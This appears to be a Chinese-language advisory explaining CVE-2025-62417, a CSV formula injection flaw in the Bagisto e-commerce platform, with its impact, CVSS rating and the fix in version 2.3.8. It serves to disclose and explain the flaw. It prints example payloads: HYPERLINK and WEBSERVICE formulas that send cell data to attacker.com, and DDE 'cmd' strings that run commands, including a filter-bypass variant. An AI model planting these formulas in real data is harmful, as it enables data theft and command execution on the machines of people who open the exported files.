CVE-2025-62417CVE-2025-62417是Bagisto开源Laravel电商平台中存在的一个高危CSV公式注入漏洞(Formula Injection)。Bagisto是一款广泛使用的开源电商系统,支持多渠道、多语言和多货币等企业级功能。该漏洞源于平台在处理产品数据时,未对包含电子表格公式特殊字符(如=、+、-、@等)的输入进行有效过滤或转义。当攻击者通过产品名称、描述或其他可编辑字段提交以这些特殊字符开头的数据时,该数据会被正常存储。然而,当管理员或运营人员将该数据导出为CSV文件并在Excel、Google Sheets等电子表格软件中打开时,电子表格软件会将这些单元格内容识别为公式并自动执行。
由于CSV格式本质上是以纯文本形式存储数据的,公式注入攻击可以导致多种严重后果,包括但不限于:数据泄露(通过WEBSERVICE等函数外传数据)、远程命令执行(利用Excel旧版OLE对象或CMD构造)、数据篡改(DDE动态数据交换)、以及潜在的恶意软件传播。该漏洞的CVSS评分为7.8,属于高危级别,其攻击向量为本地(AV:L),无需认证(PR:N),但需要用户交互(UI:R),对机密性、完整性和可用性均产生高影响。Bagisto官方已在2.3.8版本中修复了该漏洞,建议所有使用受影响版本的用户尽快升级。
CSV公式注入(又称Formula Injection或CSV Injection)是一种利用电子表格软件自动解析公式特性的注入攻击。其技术原理如下:
1. **公式字符识别机制**:Excel、Google Sheets、LibreOffice Calc等电子表格软件在打开CSV文件时,会自动检测单元格内容是否以特定字符(=、+、-、@、\t、\r等)开头。如果检测到这些前缀字符,软件会将单元格内容作为公式进行解析和执行。
2. **攻击载荷构造**:攻击者可以在产品名称、SKU、描述等可编辑字段中注入恶意公式。例如:
- `=HYPERLINK("http://attacker.com/?data="&A1, "Click")`:外泄数据
- `=WEBSERVICE("http://attacker.com/"&A1)`:通过Web服务调用外传数据
- `=cmd|'/c calc'!A1`:在旧版Excel中执行系统命令
- `=2+5+cmd|'/c calc'!A1`:绕过简单过滤的命令执行
3. **Bagisto漏洞点**:在Bagisto中,产品数据通过管理后台或API提交后直接存储到数据库。当管理员执行产品数据导出功能时,系统生成CSV文件但未对字段内容进行转义处理(如在公式字符前添加单引号前缀或制表符前缀)。
4. **利用条件**:攻击者需要具备产品数据提交权限(通常通过注册商户或API),然后诱导管理员导出并打开CSV文件。整个攻击链涉及用户交互(UI:R),这也是CVSS评分中标记为需要用户交互的原因。
5. **修复方案**:Bagisto 2.3.8版本在CSV导出时对危险字符进行了转义处理,通常通过在公式字符前添加单引号(')或制表符(\t)来阻止电子表格软件将其解析为公式。